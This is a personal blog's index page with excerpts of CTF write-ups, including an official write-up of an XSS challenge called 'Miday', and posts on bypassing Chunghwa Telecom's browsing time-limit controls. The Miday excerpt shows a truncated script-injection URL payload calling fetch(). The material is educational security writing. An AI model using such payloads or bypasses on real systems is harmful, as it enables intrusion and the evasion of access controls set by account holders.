legendyang's Blog

Latest — 24 Apr 2025

THJCC 2025

My results and some (probably incomplete) write up for THJCC 2025. timetable OCRed,not 100% accurate. Challenge Category Value Time Where's My Partner? Misc 430 April 20th, 5:27:43 PM Yoshino's Secret Crypto 210 April 20th, 4:23:49 PM SNAKE Crypto 100 April 20th,

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THJCC 2024 Winter Writeup

挑戰類別點數時間 S-box Crypto 100 December 15th, 4:53:51 PM You know I know the token Reverse 310 December 15th, 2:27:13 PM locked unlocker Reverse 250 December 15th, 1:46:00 PM BMI Calculator Reverse 110 December 15th, 1:27:32 PM cr4ck the w0rd13

NHNC CTF Official Write Up for Miday

Table Of Contents * Miday * Miday Revenge * Miday Revenge Revenge * Some final thoughts Miday Simple XSS should be simple (?) What made this challenge a little bit difficult is: Encoding + -> " " (space) Common Wrong Payload: http://miday_ahdnsivs.nicewhite.eu.org:60007/search?search=a%22%3E%3Cscript%3Efetch(

中華電信上網時間管理研究與繞過

English version is availble here: https://blog.nicewhite.xyz/hinet_browsing_timelimit_research/ 這啥? 這是一篇研究中華電信上網時間管理的文章白話文就是破解它啦當然僅供研究用途：P。 2024/9/10寫的，應該不會再更新。等等，怎麼繞的？ yoni@yoni-A-Power-T200:~/icm2$ ping 1.1.1.1 -I enp3s0 PING 1.1.1.1 (1.1.1.1) from 192.168.1.106

"HINET browsing timelimit" Research

中文版本在這：https://blog.nicewhite.xyz/hinet_browsing_timelimit_research_zhtw/ What is this? This is a simple writeup that bypasses the time control of the 中華電信上網時間管理. Of course, this is intended for educational purposes only. Tested on 2024 Sep 10, no follow up planned. How does this work? yoni@yoni-A-Power-T200:

Hello, my new blog.

So you are probably new to here, my name is legendyang and I just started a new blog. I plan to start writing things about my life, what I've learned, and some challenges. Hope everything goes well.